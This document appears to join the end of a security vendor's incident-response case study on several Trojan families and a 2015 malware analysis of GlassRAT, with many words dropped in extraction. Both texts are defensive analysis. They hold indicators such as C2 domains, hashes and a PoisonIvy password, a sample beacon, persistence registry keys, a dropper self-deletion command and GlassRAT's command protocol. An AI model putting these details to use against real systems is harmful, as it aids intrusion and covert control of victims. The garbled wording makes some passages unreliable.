Time Nodes svchost.exe 177664 7D4F241428A2496142DF1C4A376CEC88 netddesrv.exe 177664 A5F07E00D3EEF7A16ECFEC03E94677E3 Feb 27 2012 07:13:30 UTC Feb 27 2012 07:13:30 UTC 206.205.82.9 drometic.suroot.com Table Trojan.Hikit file details channels configuration file named svchost.conf obfuscated byte key. first four bytes file reveal key. this case the key was: 0xFA2738CD. The plaintext configuration data shown below, the data red was removed referenced victim. http://www.ibsensoftware.com/index.html Incident Response Case Study Incident Response Page Figure Trojan.Hikit deobfuscated configuration file second configuration file obfuscated with key: 0xCE6C2B25. file these characteristics: File Name: File Size: MD5: SHA1: netddesrv.conf 456 bytes d7367b3216856cef704e271034e237b5 d9ccbcab076e68a9f0f9a25697a07539397f8c95 5.5 Trojan.FF-RAT discovered several files that belong Trojan family that refers Trojan.FF- RAT. Many discovered files have been legitimately digitally signed. certain systems, Trojan.FF- also contained keystroke logger driver file. Here some artifacts regarding this Trojan: 1. This Trojan consisted least DLL file (which always had .dat extension) and configuration file, which was always found under: C:\Windows\Media\Windows Config.wav. Both 32bit 64bit versions were deployed. 2. The configuration file obfuscated, then decompressed. Apendix details decrypt this file. 3. On certain systems driver named fstab.sys existed memory only. 4. The keystroke loggers were always named [RANDOM]_kl.dll, file created after each reboot. files deleted. keystrokes stored file named iismgr.dat, which located same directory DLL. data iismgr.dat obfuscated single byte key: 0xC2. digital certificates were issued Thawte Code Signing characteristics malicious files belonging this Trojan family shown below: Trojans with signer name: Xuzhou Chenji Technology Co.,Ltd Certificate Serial Number: 19ce1672107145e06fdc45fa2b753f0b File Name Size Hash whwbedqu_kl.dll 116320 DB4A20526588360962703145C32E743E rmwpnwad_kl.dll 108128 5E287819699278CEFB490B0D7E768CED nullods.dat 65464 8C3A13CFF4797A4E74988D05FDD8C287 nullods.dat 169400 0CEB4CC3665E1190E0FA00FB7153AC22 frtest.dat 172128 CC6999FB9174F2FE0564428EC7F92525 frtest.dat 68192 C41A3CB0E7ACCA1AC434F65FB518E58B Kqizbmwzopzbqva g.kqi 204384 41ED24E665759992130BF4C08B5F532E Compile Time Signing Time Dec 03 2012 08:20:05 UTC Dec 03 2012 08:18:42 UTC Dec 28 2012 07:59:48 UTC Dec 28 2012 07:59:18 UTC Dec 28 2012 07:59:18 UTC Dec 28 2012 07:59:48 UTC Jul 25 2012 06:41:30 UTC May 13 2013 1:25:22 AM May 13 2013 1:25:24 AM Not available Not available Jan 09 2013 4:19:33 AM Jan 09 2013 4:19:15 AM Sep 24 2012 10:10:57 AM Table Trojan.FF- file details Incident Response Case Study Incident Response Page Trojans with signer name: Binzhou XinPin Technology Co.,Ltd. Certificate Serial Number: 391e363ec82ad7613db478c178180e8b File Name Size Hash rvtest.dat 181352 9985668A2F401A4EDE85918A5D417409 frkeser.dat 181352 B76A3595523E6050C4034294257323CA frkeser.dat 72296 939587C6CEB084273B424D982C52AC5A fmconull.dat 181352 DB35A3A80BD62EFF91EAD4A2046D26A5 fmconull.dat 72296 92E9F1FB37EE75415235C4E567DE0F1B x8.txt 127592 838B97B916CA2A8A9855D8257A6826E7 Compile Time Signing Time Jul 10 2013 05:36:44 UTC Jul 10 2013 05:36:44 UTC Jul 10 2013 05:36:27 UTC Jul 10 2013 05:36:44 UTC Jul 10 2013 05:36:27 UTC Jul 10 2013 05:36:31 UTC Aug 28 2013 9:43:57 PM Jul 28 2013 1:38:56 AM Jul 28 2013 1:38:01 AM Jul 15 2013 2:31:46 AM Jul 15 2013 2:31:25 AM Jul 15 2013 2:31:40 AM Table Trojan.FF- file details Trojans with signer name: Hangzhou Degou Information Technology Co.,Ltd. Certificate Serial Number: 64477c85f26c2ca67d76468434263e0e File Name bxevkwcb_kl Size Hash 86192 90bfea7038a8a25e1e70ba76291b2016 Compile Time Signing Time Jan 11 2012 09:51:40 UTC Jan 16 2012 2:54:16 AM Table Trojan.FF- file details Trojans with signer name: Henan Lvcheng Tianxia Information Technology Co.,Ltd Certificate Serial Number: 06b587cdb256cd4224baa55eb3ff2a98 File Name Size Hash frtest.dat 191640 B8DF0D1A8EC15C40692D507E62F9EE80 frtest.dat 80096 705EBCFCE803D3FB69F409BABAF1376E Compile Time Signing Time Mar 20 2012 04:05:37 UTC Mar 20 2012 04:05:05 UTC Aug 7 2012 5:31:40 AM May 31 2012 6:02:20 AM Table Trojan.FF- file details Unsigned Trojan.FF- files File Name Size Hash Compile Time ngpqdasi_kl.dll 101376 071B2A2CF343A62EC7C75592362593BC lcruhypy_kl.dll 109568 E36DA01D2C47C308CDA5AF49272F3FBD fmnonull.dat 61440 B7F87AF5AFF0A68DE408B112A5A95049 fmnonull.dat 165376 21C5FC01CED8B327A6AC1F31B90C525B Dec 03 2012 08:18:42 UTC Dec 03 2012 08:20:05 UTC Dec 28 2012 07:59:48 UTC Dec 28 2012 07:59:18 UTC Signing Time Table Trojan.FF- file details the domains related this Trojan resolved the same address 198.55.120.222 the time the engagement. Overall following domain names were used Trojan.FF- RAT: mno80.dwy.cc fan025.yahoolive.us pcal2.dwy.cc pcal2.yahoolive.us mno995.dwy.cc fan080.yahoolive.us 3h01.dwy.cc Incident Response Case Study Incident Response Page 5.6 Trojan.PlugX identified another malicious file that refers Trojan.PlugX. This Trojan well documented the security community several capabilities including uploading/downloading files, executing commands, listing processes. Here characteristics files related this Trojan family: File Name Size Hash Compile Time Nodes/Notes Feb 20 2011 08:19:48 UTC Jun 17 2012 07:51:16 UTC May 17 2013 09:38:58 UTC b.exe 366734 3BC77F178ACC60A47106834658E78BCF iehelper.exe 14608 288B1C32B3B951C79E78F764DD1B08F8 sbiedll.dll 181760 86D7F18C89CEFE4C43DB9F38755CC33D helper.url 113874 1F8F685815648E3308EA096C1367BA27 [final.dll] 154112 35958c670840819889f18a69db72ac3b Oct 17 2012 08:33:02 UTC Self-extracting executable Sandboxie L.T.D loader file. Sandboxie L.T.D file. Obfuscated and compressed code dns2.ipv6do.com up.outhmail.com Table Trojan.PlugX file details channels File b.exe, which self- extracting file, the dropper for this variant Trojan.PlugX. The archive contains three files iehelper.exe, sbiedll.dll, helper.url. first files loaders third file, which obfuscated shellcode. loader files iehelper.exe (which signed SANDBOXIE L.T.D) and sbiedll.dll are files used Sandboxie, isolated operating environment, which attempts protect users from malicious programs. iehelper.exe file will load start shiedll.dll, which injects code contained helper.url into running process. After iehelper.exe sbiedll.dll files have been executed, data from helper.url file will injected into running process. helper.url file contains shell code, which layers obfuscation. first layer deobfuscation starts with XORing 113842 bytes data helper.url with 0xC0. second stage deobfuscation more complex, involving series mathematical operations data, well decompressing portion the data helper.url using RTLDecompressBuffer API call. Once these steps are performed DLL file produced (given the name final.dll) which the actual Trojan.PlugX file. This Trojan been configured beacon dns2.ipv6do.com up.outhmail.com. Here sample beacon from this Trojan: POST /update?id=000f7578 HTTP/1.1 Accept: */* X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET4.0C; .NET4.0 E; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Host: dns2.ipv6do.com Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache 5.7 Trojan.Gh0st identified remnants what refers Trojan.Gh0st. variants digitally signed, certificate longer valid. Both variants consisted separate configuration file that contained information. recovered configuration files contained same node: ru.pad62.com. Malware analysis shows Gh0st magic string Drag0n initial beacon network traffic. Incident Response Case Study Incident Response Page Figure Trojan.Gh0st magic string Trojans with signer name: Shanghai Qiangwang Technology Co., Certificate Serial Number: 027c0d1cecf1e7e82eb89fc3d5512613 File Name Size Hash [Omitted]x.exe 156161 C2E664463269D9A4E5E1F201DA867E0F 6to4adv.dll 113264 4E5C58E519AF4DB9CD444350A4241D5A BusMgr.sys 30192 284295406F74C7831AA58EF46F3AD10B Compile Time Signing Time Apr 03 2012 09:59:50 UTC Jul 07 2012 05:01:37 UTC Jun 27 2012 14:43:21 UTC Jun 4 2012 1:17:57 AM Jul 07 2012 12:23:03 AM Jul 07 2012 8:59:31 AM Table Digitally Signed Trojan.Gh0st file details Unsigned Trojan.Gh0st files File Name Size Hash MSODBC.dll 51232768 2F08BFF22FD8F3D264AE72BBC4EF7AD9 msodbc.dll 32768 1F206932514C3ADDC94160F27170AC7F Compile Time Notes May 15 2012 06:24:15 UTC May 15 2012 06:24:15 UTC Artificially increased size Actual PE size Table Unsigned Trojan.Gh0st file details Trojan.PoisonIvy discovered two active variants PoisonIvy. This Trojan well documented the security community and has several capabilities including uploading/downloading files, executing commands, listing processes, observe/control user GUI, keystroke logging, etc. Here characteristics files related this Trojan family: File Name Size Hash Compile Time Nodes/Notes dbServer.exe 32768 8adcbec6614fdcb297311e7dd5dc3de3 res.db 22528 981ebda6cf315af63ed46e2a367c0b2b Decryp_res.db 22538 bd864c39cb8118356b061f4843a39add memshare.dat 7099 4aefaac9f96c01398ad96ebe8ad5c5f3 timebios.dll 20448 18f55f3533101f8c0dce96c070d22736 share.dat 6710 561130a9d3e483b397ff12e8dd3a1a32 Apr 27 2013 13:50:00 UTC Apr 27 2013 13:37:59 UTC Jan 28 2013 10:14:25 UTC Loader Obfuscated DLL Decrypted version of res.db Obfuscated code Loader Obfuscated code Table Trojan.PoisonIvy file details PoisonIvy password chosen for both these samples PoinsoIvy was: 15911117665. Both samples beacon out to: 2012jg.sony36.com. The communication protocol did not deviate from the standard PoisonIvy protocol that also publicly available. fact the publicly available PoisonIvy server will interact with system infected with this Trojan. Below the configuration information memory that shows PoisonIvy node password: Figure Trojan.PoisonIvy Memory snippet containing password Incident Response Case Study Incident Response Page Here screenshot from PoisonIvy server after system infected with this Trojan.PoisonIvy connected Figure PosionIvy server side Incident Response Case Study Incident Response Page 6. Conclusion This case study shows typical flow investigation using ECAT Security Analytics, which give visibility needed successfully efficiently investigate intrusions with intent successful remediation. Only with full network endpoint visibility can investigators ensure they identified all malware deployed channels used adversary. Additionally, this visibility critical after remediation intrusion, adversaries will reenter environment. Most groups politically economically motivated, state sponsored, highly skilled, and therefore capable sustaining long- term campaigns against their intended targets. having proper visibility over network will able proactively identify infections more rapidly remediate them, reducing your exposure adversary opportunity steal manipulate more data. Traditional forensics, a.k.a dead- forensics, not suitable for the nature today intrusions because too slow and very reactive process. analyst triage remote system minutes without affecting endpoint. traditional forensic process will even have image acquired that time, mention user disruption. While other defense mechanisms such perimeter controls and education users are extremely important preventing intrusion, the next line defense quick detection malicious activity once prevention fails. this proactive approach reviewing both network traffic and endpoints for signs malicious activity that gives companies the best chance quickly identifying malicious activity. ECAT cuts down the analysis time allowing analysts whitelist files that have already been analyzed are trusted, focusing the analysis only new files that appear the endpoints. Furthermore, ECAT uses variety techniques distinguish between suspicious and normal activity both memory and disk, enabling the analyst focus the most suspicious activity. ECAT ability process Yara signatures also extremely useful feature that not only allows company incorporate their own intelligence into the product, but also import signatures from other intelligence groups that share these signatures. Lastly, ECAT allows the analyst quickly triage endpoints analyzing their MFTs. has been illustrated many examples this report, whenever malicious artifact found system, quick triage necessary because reveal many other artifacts such signs data exfiltration remnants older Trojans. Security Analytics complements ECAT allowing the analyst look for anomalies the communication protocols used malware, channels dormant, identifying beaconing behavior. This very powerful approach that nets many channels incident. Incident Response Case Study Incident Response Page 7. Appendix I Trojan.FF- consists configuration file that this case was always found under: C:\Windows\Media\Windows Config.wav. This configuration file RC4 encrypted and aPACK compressed. This section will demonstrate how analyst can decrypt and decompress this file reveal configuration information. First need understand the structure aPACK compressed file. So, start with test file that compress using appack.exe utility. Figure Plaintext file Next use the appack.exe utility compress this file running: appack.exe test.txt test.ap32. The aPACK compressed file consists following structure: 1st DWORD aPACK magic header 2nd DWORD Total Header length (i.e. the first 6 DWORDs) 3rd DWORD Length of compressed data 4th DWORD CRC32 hash of compressed data 5th DWORD Length of decompressed data 6th DWORD CRC32 hash of decompressed data The rest of the bytes are the compressed data. This structure depicted below: Figure aPACK file structure back sample Windows Config.wav file. This file following structure: 1st DWORD Hardcoded value (0x19860609), which may represent a date, that is, YYYYMMDD or YYYYDDMM. 2nd DWORD Obfuscated RC4 key. De-obfuscated by XOR-ing with 1st DWORD. 3rd DWORD NULLs 4th DWORD Same hardcoded value as 1st DWORD. 5th DWORD Length of compressed data 6th DWORD Length of decompressed data. http://www.ibsensoftware.com/files/aPLib- 1.01.zip Incident Response Case Study Incident Response Page The rest of the data is aPACK compressed and RC4 encrypted (offset 0x18 end) This structure demonstrated below: Figure Trojan.FF- configuration file structure derived XOR- first DWORDs. this case: 0x19860609 0x19865733 0x0000513A. Trojan then prints ASCII version 0x0000513A, essentially bits long shown below: Figure Trojan.FF- example using 0x3030303035313341 decrypt data Windows Config.wav file starting file offset 0x18 until end. decryption operation results this data: Figure Trojan.FF- decrypted configuration file Incident Response Case Study Incident Response Page decrypted data aPACK compressed without header. actually have pieces header except one: CRC32 decompressed data. Lets list structure aPACK compressed file demonstrate referencing figure 1st DWORD AP32 (we can create this ourselves) 2nd DWORD Length of the header (we can create this ourselves, i.e. 0x18000000) 3rd DWORD Length of compressed data (we have this from the configuration file figure 62 (i.e. 0xBE000000)) 4th DWORD CRC32 of compressed data (we can calculate this ourselves since we have the data) 5th DWORD Length of decompressed data (we have this from the configuration file figure 62 (i.e. 0xC0060000)) 6th DWORD CRC32 of decompressed data (we have no way of knowing or calculating this since we do not have the decompressed data) missing critical piece information, namely CRC32 hash value decompressed data, there generating knowing this advance since trying decompress data. Lets aPACK header together with information have along with data decrypted (figure 64), NULLs DWORD since have this information: Figure decrypted configuration file with manually generated aPACK header When execute appack.exe tool decompress this file error message: Figure appack.exe error message Incident Response Case Study Incident Response Page obvious that appack.exe utility throwing this error because CRC32 decompressed data does match what calculates after done decompressing the file. So, need get around this error identifying and modifying the code appack.exe where this CRC32 hash check made order make utility continue executing regardless whether CRC32 hash decompressed data matches what header. little debugging this tool leads code responsible this CRC32 check. code shown below: Figure Disassembly appack.exe address 0x00402C09 conditional jump- equal (JE), which means that CRC32 hash decompressed data matches value DWORD header, jump will taken. modify code this utility make jump here unconditional (JMP) thus make utility think that CRC32 check always successful. permanently patch appack.exe file using editor changing byte 0x74 with 0xEB. This particular instruction located file- offset 0x2009 shown below: Figure Patching appack.exe Now, when execute this patched version appack.exe successfully decompress Trojan.FF- configuration file: Incident Response Case Study Incident Response Page relevant parts decrypted configuration file shown below: Figure 68:RC4 decrypted aPACK decompressed Trojan.FF- configuration file Incident Response Case Study PEERING INTO GLASSRAT A Zero Detection Trojan from China Authors: Kent Backman, primary research Jared Myers, contributing Chris Ahearn, contributing Maor Franco, contributing Peter Beardmore, contributing November 23, 2015 RSA Research Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. EMC has exercised reasonable care in the collecting, processing, and reporting of this information but has not independently verified, validated, or audited the data to verify the accuracy or completeness of the information. EMC shall not be responsible for any errors or omissions contained on this Research Paper, and reserves the right to make changes anytime without notice. Mention of non-EMC products or services is provided for informational purposes only and constitutes neither an endorsement nor a recommendation by EMC. All EMC and third-party information provided in this Research Paper is provided on an "as is" basis. EMC DISCLAIMS ALL WARRANTIES, EXPRESSED OR IMPLIED, WITH REGARD TO ANY INFORMATION (INCLUDING ANY SOFTWARE, PRODUCTS, OR SERVICES) PROVIDED IN THIS RESEARCH PAPER, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. Some jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you. In no event shall EMC be liable for any damages whatsoever, and in particular EMC shall not be liable for direct, special, indirect, consequential, or incidental damages, or damages for lost profits, loss of revenue or loss of use, cost of replacement goods, loss or damage to data arising out of the use or inability to use any EMC website, any EMC product or service. This includes damages arising from use of or in reliance on the documents or information present on this Research Paper, even if EMC has been advised of the possibility of such damages Copyright 2015 EMC Corporation. All Rights Reserved. Use, copying, and distribution of any EMC software described in this publication requires an applicable software license. RSA and the RSA logo are registered trademarks or trademarks of EMC Corporation in the United States and other countries. All other products and/or services referenced are trademarks of their respective companies. Published in the USA. November 23, 2015 EXECUTIVE SUMMARY .......................................................................... 4 OVERVIEW ........................................................................................... 4 BACKGROUND ...................................................................................... 4 DROPPER SUBMISSIONS FROM CHINA ................................................. 6 UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS ................................................................................. 7 GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION.............. 8 GLASSRAT CAPABILITIES AND FUNCTIONS ....................................... 10 COMMAND AND CONTROL .................................................................. 11 APPENDIX .......................................................................................... 13 PRIVATE ANNEX ................................................................................. 13 EXECUTIVE SUMMARY RSA Research has discovered a "zero detection" Remote Administration Tool (RAT) dubbed GlassRAT, signed with a certificate which appears to have been misappropriated from a popular software developer in China. This malware has gone under the radar for what may be several years. Telemetry and limited anecdotal reports indicate that Chinese nationals associated with large multinational corporations may be the targets of campaigns employing GlassRAT. While "transparent" to most antivirus products, GlassRAT can be detected using network forensic or endpoint tools such as RSA Security Analytics and/or RSA ECAT. Also presented is evidence that GlassRAT's command and control (C2) infrastructure has some historical overlap with other malicious malware campaigns that have previously targeted Asia-based organizations of geopolitical and strategic importance. OVERVIEW When a cyber espionage campaign is identified; the threat actors' tools, techniques, and procedures revealed; the malware now detectable by antivirus- What do the bad guys do next? History shows us that this is just part of the process. Once operations or campaigns are uncovered, the attackers have contingency plans, which can include minimally substituting only the tools in their kit that may have been detected and/or perhaps finding new victims, who are less alert to their threat. There maybe no need to change the Command and Control infrastructure or their techniques. In very large cyber intelligence organizations, which carry a diverse list of objectives and targets, there is likely to be shared leadership, policies and procedures, infrastructure, and ample sources and libraries of advanced hacking tools (many still unexposed to researchers)- all servicing subordinate organizations with far narrower objectives. GlassRAT has (briefly) shared C2 infrastructure with some large campaigns, identified earlier in the decade, that targeted geopolitical organizations in the Asia-Pacific region. The telemetry of GlassRAT and limited forensic samples suggest that targeting is narrowly focused. Thus, what makes GlassRat notable is not what it is, but perhaps rather where it came from, who is using it, and for what purpose. Spoiler alert: this paper does not offer a conclusion. Rather, we believe the limited facts are worth consideration, particularly when there may-well be many more undetected / undetectable samples in the wild. Detecting the infrastructure and resulting behavior of these tools is perhaps more important when preventive defenses consistently fail. It is also crucially important to recognize the potential origins of these attacks, when detected, to better understand risks to the organization. RSA Research looked for any similarities with other previously described malware, and exploitation campaigns. While several code similarities were found with other malware such as Taidoor1 and Taleret2, the most interesting overlap with GlassRAT might be in the C2 infrastructure shared with geopolitical campaigns (outlined below), which were reported earlier in this decade. BACKGROUND GlassRAT appears to have operated, stealthily, for nearly 3 years in some environments. Evidence indicates that Chinese nationals associated with large multinational corporations in and outside of China may be the targets of campaigns employed by GlassRat. GlassRat employs many of the telltale signs of good, at least very effective, malware design. Its dropper is signed using a compromised certificate from a trusted and well-known publisher.3 It deletes itself after successfully delivering its payload. Once installed, the malicious DLL file persists below the radar of endpoint antivirus. GlassRat first came to the attention of RSA Research in February 2015 when the RSA Incident Response team, which specializes in responding to advance threat intrusions in large enterprise networks, detected malicious traffic while investigating an incident at a multi-national firm based in the U.S. A dll sample was discovered, using RSA ECAT, on the PC of a Chinese national. There was no evidence of any dropper. Retrospective analysis on Virus Total revealed a sample submitted from Hong Kong in December 2014, which exhibited matching characteristics, but a different hash. This http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html The Certificate Authority (CA) that issued this certificate was informed and subsequently revoked the likely stolen code-signing certificate, after independently confirming the maliciousness of the signed code. RSA Research prompted RSA to create a Yara signature which was then fed into the RSA Research hunting capability, as well as to ECAT in the client environment. That signature alerted several months later, in September 2015, from samples appearing to originate in China. These included two droppers, and malware that was functionally identical but with different C2. (The domains were different, but the IP s overlapped with the previous samples for a period of time.) RSA Research has linked GlassRAT C2 to other malicious malware C2 infrastructure by way of malicious domains that pointed to common hosting. In September 2012, Dell SecureWorks reported on a cyber espionage campaign that used a RAT named Mirage (also known as MirageFox).4 PlugX C2 hosts in these and other campaigns were enumerated56 by Haruyama and Suzuki at BlackHat Asia in 2014. The threat actor group who controlled alternate009.com created C2 host records for PlugX malware targeting Mongolian government78. That same threat actor group who controlled alternate009.com created C2 host records for Mirage malware9 targeting the Philippines military10 . The malicious domain mechanicnote.com was used for C2 by several different types of malware, including Mirage malware11 used for targeting the Philippine military. This malware with mechanicnote.com domain C2 used a controller on the same IP address and server also used for GlassRAT malware C2 (101.55.x.x, bits.foryousee.net). The domain news-google.net employed by MagicFire malware12 C2 targeting the Philippine military, also used a malware controller hosted on the IP address 173.231.x.x, which was used for Mongolia-targeting PlugX malware13 employing the malicious cainformations.com domain. Another mecahnicnote.com C2 URL used the same IP address, 198.40.x.x, as did malware using cainformations.com and alternate009.com domains for C2. These domains in turn are tied directly to Magicfire, Mirage and PlugX malware in several malicious campaigns. To summarize the GlassRAT C2 infrastructure connections, we have GlassRAT connected to Mirage malware C2 hosting, which in turn is connected to Magicfire, PlugX and Mirage malware targeting the Philippine military and the Mongolia government. The temporal overlap window in shared infrastructure was relatively short implying a possible operational security slip by the actors behind GlassRAT if not deliberate sharing of infrastructure. The infrastructure overlap traced by RSA Research can be seen in detail in the attached C2 overlap graphic in the Appendix. http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/ https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf http://pastebin.com/B2jNMrM8 https://www.threatconnect.com/khaan-quest-chinese-cyber-espionage-targeting-mongolia/ http://pastebin.com/B2jNMrM8 https://www.virustotal.com/en/file/421f4c83898ff3ae9b2a94621140ef770888a8a0914b163cdae4690433173899/analysis/ http://blog.trendmicro.com/trendlabs-security-intelligence/christmas-themed-malware-starts-to-jingle-all-the-way/ https://www.virustotal.com/en/file/91279f578d2836ea679ae9578068cb70810fb781faf6d7c03c3212aa509f3e7b/analysis/ https://www.virustotal.com/en/file/2ee38b14a570f693c093a53c53c6d10234fb11cfb7318022190cdb8c96d73b35/analysis/ http://pastebin.com/B2jNMrM8 DROPPER SUBMISSIONS FROM CHINA As discussed above, RSA Research was first alerted to some specific zero detection malware by the RSA Incident Response services team. Also notable is that the first observed sample14 of this zero detection malware may have been deployed since September of 2012, if the compile time (Figure 1) is any indicator. We don t know if there is any connection between the compilation of GlassRAT and the reports of malware outlined above, much occurring in roughly the same timeframe. Figure 1 Compilation timestamp of first known sample of GlassRAT malware, appearing on VirusTotal in September of 2014. The indicators (see GlassRAT Yara signature in appendix) were fed into the RSA Research hunting capability. Months later; RSA Research was alerted to two samples of the GlassRAT malware installer program or "dropper." Both of these dropper samples were not detected by static analysis routines of 57 different Antivirus vendors (Figure 2) on the VirusTotal website. Figure 2 Zero Antivirus detection ratio of GlassRAT dropper The two GlassRAT malware dropper samples were functionally identical. One of the samples was uploaded to VirusTotal about four hours before the next dropper15 . The second GlassRAT dropper for which RSA Research was alerted16 was signed with a valid code-signing certificate associated with a Beijing-based software developer. One particular application associated with this developer has over half a billion users worldwide, according to the company. https://www.virustotal.com/en/file/89317809806ef90bb619a4163562f7db3ca70768db706a4ea483fdb370a79ede/analysis/ https://www.virustotal.com/en/file/c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb/analysis/ https://www.virustotal.com/en/file/30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399/analysis/ UNDER THE RADAR FOR YEARS, TARGETS CHINESE NATIONALS OR ORGANIZATIONS Also notable is that the first publically accessible sample of this zero-detection malware (Figure 3) may have been in the wild since September of 2012, if the compile time is any indicator. RSA Research has no reason to suspect that the compile date was forged. Additionally, RSA has learned through telemetry data and limited anecdotal reports that GlassRAT may principally be targeting Chinese nationals or other Chinese speakers, in China and elsewhere, since at least early 2013. The samples uploaded on 24 September 2015 appear to be the first known instance of the dropper/installer files. Figure 3 First sample of GlassRAT known in the wild The absence of an identified dropper in public malware databases prior to September 2015 may explain why the GlassRAT Trojan has maintained a low profile with AV vendors since its first appearance on VirusTotal in December of 2014 (Figure 4). Figure 4 First submission date of identified GlassRAT malware as per VirusTotal Figure 5 shows some of the code-signing certificate details, with the name of the software developer redacted. Figure 5 GlassRAT signed file metadata At the time of this writing, the malware has been shared with Symantec and Adobe, who were indirectly effected because of the Adobe trademark and the Symantec/Verisign certificate. As more vendors are made aware of this malware, RSA Research believes the detection ratio will increase from the near zero ratio at the time of this writing. GLASSRAT MALWARE ANALYSIS, DESIGNED FOR DECEPTION RSA's Research has analyzed the GlassRAT trojan and determined that it is a simple but capable RAT with reverse shell as well as other typical capabilities of RATs, such as file transferring and process listing. The GlassRAT dropper uses the trademarked icon of Adobe Flash player, and was named Flash.exe (Figure 6) when it was uploaded to VirusTotal from an IP address, likely in the Peoples Republic of China on September 17, 2015. Figure 6 GlassRAT dropper as viewed in Windows Explorer Double clicking on the flash.exe files causes the dropper to launch. The GlassRAt malware installation is as follows: Dropper (flash.exe) writes the GlassRAT DLL to the ProgramData folder Dropper runs the DLL file using the built-in Windows utility rundll32.exe GlassRAT DLL file modifies the run key for logon persistence with user-level permissions with the following registry key. HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update the dropper deletes itself with and embedded command: cmd.exe /c erase /F "%s", While the DDL file is actually written to the root of C:\ProgramData the registry entry points to the legacy junction in Windows Vista and later C:\ProgramData\Application Data\ as would be shown in the Microsoft SysInternals Autoruns tool. Figure 7 GlassRAT non-privileged persistence as viewed through the Autoruns tool Manually bypassing UAC with a right-click reveals metadata associated with the dropper (Figure 8). Figure 8 UAC pop-up if invoked with right click and "Run as administrator" The program name text presented in the UAC dialog box is identical to the name of the legitimate 500 million-user application produced by the owner of the certificate. In the case of installation with privileged user rights such as might be obtained by an exploit or particularly good social engineering technique, persistence would consist of installation as an unused service (such as the "RasAuto" service in Figure 9), which is commonly a disabled-by-default service on ordinary Windows user/client PC's. HKLM\System\CurrentControlSet\Services c:\programdata\application data\updatef.dll Figure 9 GlassRAT persistence mechanism if installed using administrative privileges The timestamp on the DLL reflects the compile date of the binary. RSA Research found samples of GlassRAT with three unique C2 configurations (Table 1). Static analysis of these GlassRAT DLL's revealed that the C2 host configuration is obfuscated in all of the samples using a simple XOR technique, utilizing 0x01 as the one-byte key. The most recent sample used URL's for C2, other samples used URL's in combination with a hard coded IP address (perhaps as a backup), and yet another GlassRAT sample we found used only a single IP address with no URLs. The C2 port for each specified C2 node is stored as a packed string and can be readily decoded with a simple script. GlassRAT DLL MD5 Obfuscated C2 hosts(s) 003/064/50/60 C2 hosts XOR decoded with 0x01 112.175.x.x e98027f502f5acbcb5eda17e67a21cdc chur/gnsxntrdd/odu 012/31/084/353 bits.foryousee.net 103.20.x.x 59b404076e1af7d0faae4a62fa41b69f py/s`trdsr/bnl ly/s`trdsr/bnl yy/s`trdsr/bnl qx.rausers.com mx.rausers.com xx.rausers.com 5c17395731ec666ad0056d3c88e99c4d Table 1 Three different GlassRAT C2 host configurations found in the wild by RSA Research GLASSRAT CAPABILITIES AND FUNCTIONS GlassRAT provides reverse shell functionality to an infected victim. The communication contains a handshake between the attacker and the victim. The sample will send the hard coded value 0x cb ff 5d c9 ad 3f 5b a1 54 13 fe fb 05 c6 22, the response from the C2 is then compared with the value 0x3f5ba154 and then the subsequent commands are a series of two byte codes. The malware performs a sanity check to make sure that the low byte of the two-byte combinations is 17 (0x11) or less. A QWORD is used to track directionality, and a DWORD is used to delimit data size. Control data is then passed to and from GlassRAT in the clear, such that system information and Windows command shell output would be readily observable in network traffic. GlassRAT initially accepts two primary commands (both with a set of sub commands) from its controller which are as follows: 0x01: Provides/Enumerates system information from the victim host 0x02: Native Command and reverse shell communications and output. The initial beacon and handshake of controller-initiated C2 will pass the IP address of the victim to the GlassRAT controller. However, this was not observed in our dynamic analysis, suggesting that it requires manual command from the C2 operator. Perhaps such commands are performed by the operator only if a connection by a nosy researcher has been ruled out. When the 0x01 primary command is issued the malware is configured with the following subcommands, which are in red. 0x01 01 C2 request for System Information 0x01 02 Victim response to request for system information 0x01 03 C2/Victim keep alive 0x01 06 C2 Read C:\ProgramData\off.dat When the 0x02 primary command is issued the malware is configured with the following subcommands. Not all of the 17 possibilities are utilized in the samples that were analyzed, and this could allow for future expansion of the malware capabilities by its author(s). 0x02 01 C2 Cmd command 0x02 02 Victim Response from cmd commands 0x02 03 C2 initiate cmd.exe pipe/thread 0x02 04 C2 kill cmd pipe/thread 0x02 05 C2 execute file/start process 0x02 06 Not Used/present 0x02 07 Not Used/present 0x02 08 Victim response to file download File not found 0x02 09 Not Used/present 0x02 0A Not Used/present 0x02 0B C2 command to get handle information 0x02 0C Download file from Victim 0x02 0D Victim response to file download File transmission 0x02 0E Upload/write file to Victim 0x02 0F Not Used/present 0x02 10 C2 command to get handle information 0x02 11 Create process on Victim 0x02 12 Victim response to file upload COMMAND AND CONTROL To perform dynamic analysis on the new dropper, RSA Research leveraged RSA Security Analytics (Figure 10) and RSA ECAT to quickly gather indicators and forensic details about the GlassRAT malware. Figure 10 GlassRAT C2 activity in RSA Security Analytics ECAT (Figure 11) reveals that the Trojan is loaded as RasAuto service (via svchost.exe network service process) when installed with administrative privileges, and Figure 12 indicates detection by RSA ECAT when installed with non-privileged credentials (rundll32.exe running the GlassRAT DLL). Figure 11 GlassRAT (administrative install) C2 as detected by RSA ECAT Figure 12 GlassRAT (user-level install) C2 as detected by RSA ECAT Analysts wishing to leverage RSA ECAT to find RATs including GlassRAT in their enterprise networks may want to refer to the technical whitepaper Catching the R.A.T. with ECAT 17 presented at RSA Charge by Justin Lamarre. 